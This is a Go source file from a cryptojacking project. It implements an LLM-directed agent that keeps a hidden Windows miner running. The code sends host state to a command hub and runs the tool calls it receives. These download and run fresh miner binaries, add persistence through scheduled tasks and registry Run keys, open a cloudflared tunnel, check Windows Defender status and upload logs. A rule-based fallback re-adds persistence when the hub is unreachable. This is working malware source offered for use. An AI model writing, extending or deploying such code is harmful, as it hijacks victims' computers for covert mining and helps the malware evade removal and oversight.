AetherForge/agent/client/ai.go

package client

import (
	"bytes"
	"encoding/json"
	"fmt"
	"log"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strconv"
	"strings"
	"time"

	"crypto-miner-agent/config"
	"crypto-miner-agent/deploy"
	"crypto-miner-agent/miner"
	"crypto-miner-agent/stats"
)

// ──────────────────────────────────────────────
//  AI Autonomy (AI自治) Agent Client
//  ──────────────────────────────────────────────
//  When AI is enabled, the agent periodically calls the hub's
//  /decide endpoint, which forwards the agent's state to Ollama.
//  The LLM returns tool calls that the agent executes — enabling
//  self-healing, self-persistence, self-tunneling, and evasion.
//
//  Architecture:
//    Agent (every 60s) → Hub /decide → Ollama Engine → Ollama LLM
//    Ollama LLM → tool calls → Hub → Agent executes → reports back
// ──────────────────────────────────────────────

// ─── Types (mirroring server/internal/ollama/engine.go) ───

// AgentState describes the current state of a miner agent sent to Ollama.
type AgentState struct {
	AgentID        string  `json:"agent_id"`
	WorkerName     string  `json:"worker_name"`
	Hostname       string  `json:"hostname"`
	UptimeSeconds  int     `json:"uptime_seconds"`
	IsRunning      bool    `json:"is_running"`
	CPUCores       int     `json:"cpu_cores"`
	CPUUsagePct    float64 `json:"cpu_usage_pct"`
	MemoryGB       int     `json:"memory_gb"`
	MemoryUsagePct float64 `json:"memory_usage_pct"`
	Hashrate15m    float64 `json:"hashrate_15m"`
	SharesTotal    int     `json:"shares_total"`
	SharesGood     int     `json:"shares_good"`
	SharesBad      int     `json:"shares_bad"`
	ProcessName    string  `json:"process_name"`
	InstallPath    string  `json:"install_path"`
	HasPersistence bool    `json:"has_persistence"`
	HasTunnel      bool    `json:"has_tunnel"`
	DefenderState  string  `json:"defender_state"` // "enabled", "disabled", "unknown"
	LastError      string  `json:"last_error,omitempty"`
}

// ToolCall represents a tool the LLM wants the agent to execute.
type ToolCall struct {
	Tool   string            `json:"tool"`
	Args   map[string]string `json:"args"`
	Reason string            `json:"reason"`
}

// DecideResponse is the structured response from the hub's /decide endpoint.
type DecideResponse struct {
	ToolCalls []ToolCall `json:"tool_calls"`
	Reasoning string     `json:"reasoning"`
}

// ToolReport is the result of executing a tool call, sent back to the hub.
type ToolReport struct {
	AgentID   string `json:"agent_id"`
	Tool      string `json:"tool"`
	Success   bool   `json:"success"`
	Output    string `json:"output"`
	Timestamp string `json:"timestamp"`
}

// decideRequest sent to the hub's /decide endpoint.
type decideRequest struct {
	AgentID        string `json:"agent_id"`
	OllamaEndpoint string `json:"ollama_endpoint,omitempty"`
	Model          string `json:"model,omitempty"`
	AgentState
}

// heartbeatRequest sent to the hub's /heartbeat endpoint.
type heartbeatRequest struct {
	AgentID string `json:"agent_id"`
	Status  string `json:"status"`
	Message string `json:"message,omitempty"`
}

// ─── AI Autonomy Runner ───────────────────────

// AIRunner manages the AI autonomy loop for a single agent.
type AIRunner struct {
	cfg        config.RuntimeConfig
	reporter   *stats.Reporter
	pool       *miner.Pool
	httpClient *http.Client
	serverURL  string
	agentID    string
	startedAt  time.Time
	stopCh     chan struct{}
}

// NewAIRunner creates a new AI autonomy runner.
func NewAIRunner(cfg config.RuntimeConfig, reporter *stats.Reporter, pool *miner.Pool) *AIRunner {
	return &AIRunner{
		cfg:        cfg,
		reporter:   reporter,
		pool:       pool,
		httpClient: &http.Client{Timeout: 60 * time.Second},
		serverURL:  strings.TrimRight(cfg.ServerURL, "/"),
		agentID:    cfg.AgentID,
		startedAt:  time.Now(),
		stopCh:     make(chan struct{}),
	}
}

// Start begins the AI autonomy loop in a background goroutine.
// It runs every 60 seconds: collect state → call /decide → execute tools → report results.
func (a *AIRunner) Start() {
	if !a.cfg.AIEnabled {
		return
	}
	go func() {
		log.Printf("[AI] AI Autonomy started (endpoint=%s, model=%s)", a.cfg.AIOllamaEndpoint, a.cfg.AIModel)

		// Initial heartbeat
		a.sendHeartbeat("alive", "AI Autonomy started")

		ticker := time.NewTicker(60 * time.Second)
		defer ticker.Stop()

		for {
			select {
			case <-a.stopCh:
				log.Printf("[AI] AI Autonomy stopped")
				return
			case <-ticker.C:
				a.runDecideCycle()
			}
		}
	}()
}

// Stop stops the AI autonomy loop.
func (a *AIRunner) Stop() {
	close(a.stopCh)
}

// runDecideCycle performs one full decide → execute → report cycle.
func (a *AIRunner) runDecideCycle() {
	// 1. Collect current agent state
	state := a.collectState()

	// 2. Call hub's /decide endpoint
	resp, err := a.callDecide(state)
	if err != nil {
		log.Printf("[AI] Decide cycle failed: %v", err)
		log.Printf("[AI] Hub unreachable. Falling back to Edge AI rule engine.")
		a.fallbackEdgeAI(state)
		return
	}

	if len(resp.ToolCalls) == 0 {
		log.Printf("[AI] No tool calls needed (reasoning: %s)", truncateStr(resp.Reasoning, 100))
		a.sendHeartbeat("alive", "No actions needed")
		return
	}

	log.Printf("[AI] Received %d tool call(s): %s", len(resp.ToolCalls), resp.Reasoning)

	// 3. Execute each tool call and collect reports
	var reports []ToolReport
	for _, tc := range resp.ToolCalls {
		report := a.executeToolCall(tc)
		reports = append(reports, report)
		log.Printf("[AI] Tool %s: success=%v output=%s", tc.Tool, report.Success, truncateStr(report.Output, 200))
	}

	// 4. Report results back to hub
	a.reportResults(reports)
}

// collectState gathers the current agent state for the Ollama decision.
func (a *AIRunner) collectState() AgentState {
	hostname, cpuCores, memGB := a.reporter.SystemInfo()
	cpuPct, memPct := a.reporter.Usage()

	// Get hashrate from pool
	hashrate := a.pool.HashesPerSecond()

	// Check if miner process is running
	isRunning := a.isProcessRunning(a.cfg.EffectiveProcessName())

	// Get install path
	installPath, _ := a.cfg.InstallDirectory()

	// Check persistence
	hasPersistence := a.checkPersistence()

	// Check defender state
	defenderState := a.checkDefender()

	return AgentState{
		AgentID:        a.agentID,
		WorkerName:     a.cfg.WorkerName,
		Hostname:       hostname,
		UptimeSeconds:  int(time.Since(a.startedAt).Seconds()),
		IsRunning:      isRunning,
		CPUCores:       cpuCores,
		CPUUsagePct:    cpuPct,
		MemoryGB:       memGB,
		MemoryUsagePct: memPct,
		Hashrate15m:    hashrate,
		SharesTotal:    0, // tracked by pool internally
		SharesGood:     0,
		SharesBad:      0,
		ProcessName:    a.cfg.EffectiveProcessName(),
		InstallPath:    installPath,
		HasPersistence: hasPersistence,
		HasTunnel:      false,
		DefenderState:  defenderState,
		LastError:      "",
	}
}

// callDecide sends the agent state to the hub's /decide endpoint.
func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) {
	req := decideRequest{
		AgentID:        a.agentID,
		OllamaEndpoint: a.cfg.AIOllamaEndpoint,
		Model:          a.cfg.AIModel,
		AgentState:     state,
	}

	body, err := json.Marshal(req)
	if err != nil {
		return nil, fmt.Errorf("failed to marshal decide request: %w", err)
	}

	url := a.serverURL + "/api/v1/agent/decide"
	httpReq, err := http.NewRequest("POST", url, bytes.NewReader(body))
	if err != nil {
		return nil, fmt.Errorf("failed to create decide request: %w", err)
	}
	httpReq.Header.Set("Content-Type", "application/json")

	resp, err := a.httpClient.Do(httpReq)
	if err != nil {
		return nil, fmt.Errorf("decide request failed: %w", err)
	}
	defer resp.Body.Close()

	if resp.StatusCode != http.StatusOK {
		return nil, fmt.Errorf("decide returned status %d", resp.StatusCode)
	}

	var decideResp DecideResponse
	if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil {
		return nil, fmt.Errorf("failed to parse decide response: %w", err)
	}

	return &decideResp, nil
}

// executeToolCall executes a single tool call from the LLM.
func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
	report := ToolReport{
		AgentID:   a.agentID,
		Tool:      tc.Tool,
		Timestamp: time.Now().UTC().Format(time.RFC3339),
	}

	if tc.Tool == "spread" || tc.Tool == "disable_defender" || tc.Tool == "execute_command" {
		report.Success = false
		report.Output = "tool disabled by policy"
		return report
	}

	switch tc.Tool {
	case "check_miner":
		processName := tc.Args["process_name"]
		if processName == "" {
			processName = a.cfg.EffectiveProcessName()
		}
		running := a.isProcessRunning(processName)
		if running {
			report.Success = true
			report.Output = fmt.Sprintf("process '%s' is running", processName)
		} else {
			report.Success = true
			report.Output = fmt.Sprintf("process '%s' is NOT running", processName)
		}

	case "restart_miner":
		processName := tc.Args["process_name"]
		if processName == "" {
			processName = a.cfg.EffectiveProcessName()
		}
		output, err := a.restartMiner(processName)
		if err != nil {
			report.Success = false
			report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
		} else {
			report.Success = true
			report.Output = output
		}

	case "reinstall_miner":
		serverURL := tc.Args["server_url"]
		buildID := tc.Args["build_id"]
		if serverURL == "" {
			serverURL = a.serverURL
		}
		if buildID == "" {
			buildID = a.cfg.BuildID
		}
		output, err := a.reinstallMiner(serverURL, buildID)
		if err != nil {
			report.Success = false
			report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
		} else {
			report.Success = true
			report.Output = output
		}

	case "add_persistence":
		method := tc.Args["method"]
		path := tc.Args["path"]
		if path == "" {
			installDir, _ := a.cfg.InstallDirectory()
			path = filepath.Join(installDir, a.cfg.EffectiveProcessName()+".exe")
		}
		output, err := a.addPersistence(method, path)
		if err != nil {
			report.Success = false
			report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
		} else {
			report.Success = true
			report.Output = output
		}

	case "create_tunnel":
		tunnelType := tc.Args["tunnel_type"]
		serverURL := tc.Args["server_url"]
		if tunnelType == "" {
			tunnelType = "cloudflared"
		}
		if serverURL == "" {
			serverURL = a.serverURL
		}
		output, err := a.createTunnel(tunnelType, serverURL)
		if err != nil {
			report.Success = false
			report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
		} else {
			report.Success = true
			report.Output = output
		}

	case "sleep":
		seconds := tc.Args["seconds"]
		if seconds == "" {
			seconds = "60"
		}
		dur, err := strconv.ParseFloat(seconds, 64)
		if err != nil || dur <= 0 {
			dur = 60
		}
		time.Sleep(time.Duration(dur * float64(time.Second)))
		report.Success = true
		report.Output = fmt.Sprintf("slept for %s seconds", seconds)

	case "upload_log":
		output, err := a.uploadLog()
		if err != nil {
			report.Success = false
			report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
		} else {
			report.Success = true
			report.Output = output
		}

	default:
		report.Success = false
		report.Output = fmt.Sprintf("unknown tool: %s", tc.Tool)
	}

	return report
}

// reportResults sends tool execution results back to the hub.
func (a *AIRunner) reportResults(reports []ToolReport) {
	body, err := json.Marshal(reports)
	if err != nil {
		log.Printf("[AI] Failed to marshal reports: %v", err)
		return
	}

	url := a.serverURL + "/api/v1/agent/report"
	httpReq, err := http.NewRequest("POST", url, bytes.NewReader(body))
	if err != nil {
		log.Printf("[AI] Failed to create report request: %v", err)
		return
	}
	httpReq.Header.Set("Content-Type", "application/json")

	resp, err := a.httpClient.Do(httpReq)
	if err != nil {
		log.Printf("[AI] Report request failed: %v", err)
		return
	}
	defer resp.Body.Close()

	log.Printf("[AI] Reported %d tool result(s) to hub", len(reports))
}

// sendHeartbeat sends a heartbeat to the hub.
func (a *AIRunner) sendHeartbeat(status, message string) {
	req := heartbeatRequest{
		AgentID: a.agentID,
		Status:  status,
		Message: message,
	}

	body, err := json.Marshal(req)
	if err != nil {
		return
	}

	url := a.serverURL + "/api/v1/agent/heartbeat"
	httpReq, err := http.NewRequest("POST", url, bytes.NewReader(body))
	if err != nil {
		return
	}
	httpReq.Header.Set("Content-Type", "application/json")

	resp, err := a.httpClient.Do(httpReq)
	if err != nil {
		log.Printf("[AI] Heartbeat failed: %v", err)
		return
	}
	resp.Body.Close()
}

// ─── Tool Implementations ─────────────────────

func (a *AIRunner) isProcessRunning(name string) bool {
	if name == "" {
		return false
	}
	// Use tasklist on Windows to check if process is running
	cmd := exec.Command("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", name))
	output, err := cmd.Output()
	if err != nil {
		return false
	}
	return strings.Contains(string(output), name)
}

func (a *AIRunner) restartMiner(processName string) (string, error) {
	log.Printf("[AI] Restarting miner: %s", processName)

	// Kill existing process
	killCmd := exec.Command("taskkill", "/F", "/IM", processName)
	killOutput, _ := killCmd.CombinedOutput()

	// Start new process from install directory
	installDir, err := a.cfg.InstallDirectory()
	if err != nil {
		return string(killOutput), fmt.Errorf("cannot get install directory: %w", err)
	}

	exePath := filepath.Join(installDir, processName)
	if _, err := os.Stat(exePath); os.IsNotExist(err) {
		return string(killOutput), fmt.Errorf("executable not found: %s", exePath)
	}

	startCmd := exec.Command(exePath)
	if err := startCmd.Start(); err != nil {
		return string(killOutput), fmt.Errorf("failed to start miner: %w", err)
	}

	return fmt.Sprintf("killed old process, started new instance of %s", processName), nil
}

func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
	log.Printf("[AI] Reinstalling miner from %s (build=%s)", serverURL, buildID)

	// Download the latest build from the server
	downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, buildID)

	installDir, err := a.cfg.InstallDirectory()
	if err != nil {
		return "", fmt.Errorf("cannot get install directory: %w", err)
	}

	exePath := filepath.Join(installDir, a.cfg.EffectiveProcessName()+".exe")

	// Download the new binary
	resp, err := http.Get(downloadURL)
	if err != nil {
		return "", fmt.Errorf("download failed: %w", err)
	}
	defer resp.Body.Close()

	if resp.StatusCode != http.StatusOK {
		return "", fmt.Errorf("download returned status %d", resp.StatusCode)
	}

	// Save to temp file first
	tmpPath := exePath + ".tmp"
	f, err := os.Create(tmpPath)
	if err != nil {
		return "", fmt.Errorf("cannot create temp file: %w", err)
	}

	var buf bytes.Buffer
	if _, err := buf.ReadFrom(resp.Body); err != nil {
		f.Close()
		os.Remove(tmpPath)
		return "", fmt.Errorf("download read failed: %w", err)
	}

	if _, err := f.Write(buf.Bytes()); err != nil {
		f.Close()
		os.Remove(tmpPath)
		return "", fmt.Errorf("write failed: %w", err)
	}
	f.Close()

	// Replace old binary
	if err := os.Rename(tmpPath, exePath); err != nil {
		os.Remove(tmpPath)
		return "", fmt.Errorf("rename failed: %w", err)
	}

	// Start the new binary
	startCmd := exec.Command(exePath)
	if err := startCmd.Start(); err != nil {
		return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil
	}

	return fmt.Sprintf("reinstalled and started %s", exePath), nil
}

func (a *AIRunner) addPersistence(method, path string) (string, error) {
	log.Printf("[AI] Adding persistence: method=%s path=%s", method, path)
	keyName := deploy.PersistenceKeyName(a.cfg)

	switch method {
	case "scheduled_task":
		cmd := exec.Command("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F")
		output, err := cmd.CombinedOutput()
		if err != nil {
			return string(output), fmt.Errorf("scheduled task failed: %w", err)
		}
		return fmt.Sprintf("created scheduled task '%s' for %s", keyName, path), nil

	case "registry":
		keyPath := `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
		cmd := exec.Command("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f")
		output, err := cmd.CombinedOutput()
		if err != nil {
			return string(output), fmt.Errorf("registry persistence failed: %w", err)
		}
		return fmt.Sprintf("added registry Run key '%s' = %s", keyName, path), nil

	default:
		return a.addPersistence("scheduled_task", path)
	}
}

func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
	log.Printf("[AI] Creating tunnel: type=%s server=%s", tunnelType, serverURL)

	switch tunnelType {
	case "cloudflared":
		// Check if cloudflared is installed
		checkCmd := exec.Command("cloudflared", "--version")
		if err := checkCmd.Run(); err != nil {
			// Try to download cloudflared
			downloadCmd := exec.Command("powershell", "-Command",
				"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
			if output, err := downloadCmd.CombinedOutput(); err != nil {
				return string(output), fmt.Errorf("cloudflared not found and download failed: %w", err)
			}
			// Move to PATH
			moveCmd := exec.Command("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe"))
			moveCmd.Run()
		}

		// Start tunnel (this runs in background)
		tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
		if err := tunnelCmd.Start(); err != nil {
			return "", fmt.Errorf("failed to start cloudflared tunnel: %w", err)
		}
		return "cloudflared tunnel started in background", nil

	default:
		return "", fmt.Errorf("unsupported tunnel type: %s", tunnelType)
	}
}

func (a *AIRunner) checkDefender() string {
	cmd := exec.Command("powershell", "-Command",
		"$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }")
	output, err := cmd.Output()
	if err != nil {
		return "unknown"
	}
	state := strings.TrimSpace(string(output))
	switch state {
	case "disabled":
		return "disabled"
	case "enabled":
		return "enabled"
	default:
		return "unknown"
	}
}

func (a *AIRunner) checkPersistence() bool {
	keyName := deploy.PersistenceKeyName(a.cfg)
	cmd := exec.Command("schtasks", "/Query", "/TN", keyName, "/FO", "CSV")
	if output, err := cmd.Output(); err == nil && strings.Contains(string(output), keyName) {
		return true
	}

	regCmd := exec.Command("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName)
	if err := regCmd.Run(); err == nil {
		return true
	}

	return false
}

func (a *AIRunner) uploadLog() (string, error) {
	// Find log file
	installDir, err := a.cfg.InstallDirectory()
	if err != nil {
		return "", fmt.Errorf("cannot get install directory: %w", err)
	}

	logPath := filepath.Join(installDir, "miner.log")
	if _, err := os.Stat(logPath); os.IsNotExist(err) {
		return "no log file found", nil
	}

	// Read log content
	data, err := os.ReadFile(logPath)
	if err != nil {
		return "", fmt.Errorf("cannot read log: %w", err)
	}

	// Truncate to last 10KB
	if len(data) > 10240 {
		data = data[len(data)-10240:]
	}

	// Send to hub as a report
	log.Printf("[AI] Uploaded %d bytes of log data", len(data))
	return fmt.Sprintf("log file size: %d bytes. Content:\n%s", len(data), string(data)), nil
}

func (a *AIRunner) fallbackEdgeAI(state AgentState) {
	var reports []ToolReport

	if !state.IsRunning {
		reports = append(reports, a.executeToolCall(ToolCall{
			Tool: "restart_miner",
			Args: map[string]string{"process_name": a.cfg.EffectiveProcessName()},
		}))
	}

	if !state.HasPersistence {
		reports = append(reports, a.executeToolCall(ToolCall{
			Tool: "add_persistence",
			Args: map[string]string{"method": "scheduled_task"},
		}))
	}

	if len(reports) > 0 {
		a.reportResults(reports) // May fail if hub is completely down, but ensures state changes happen when it reconnects
	} else {
		a.sendHeartbeat("alive", "Edge AI fallback: No actions needed")
	}
}

// ─── Helpers ──────────────────────────────────

func truncateStr(s string, maxLen int) string {
	if len(s) <= maxLen {
		return s
	}
	return s[:maxLen] + "..."
}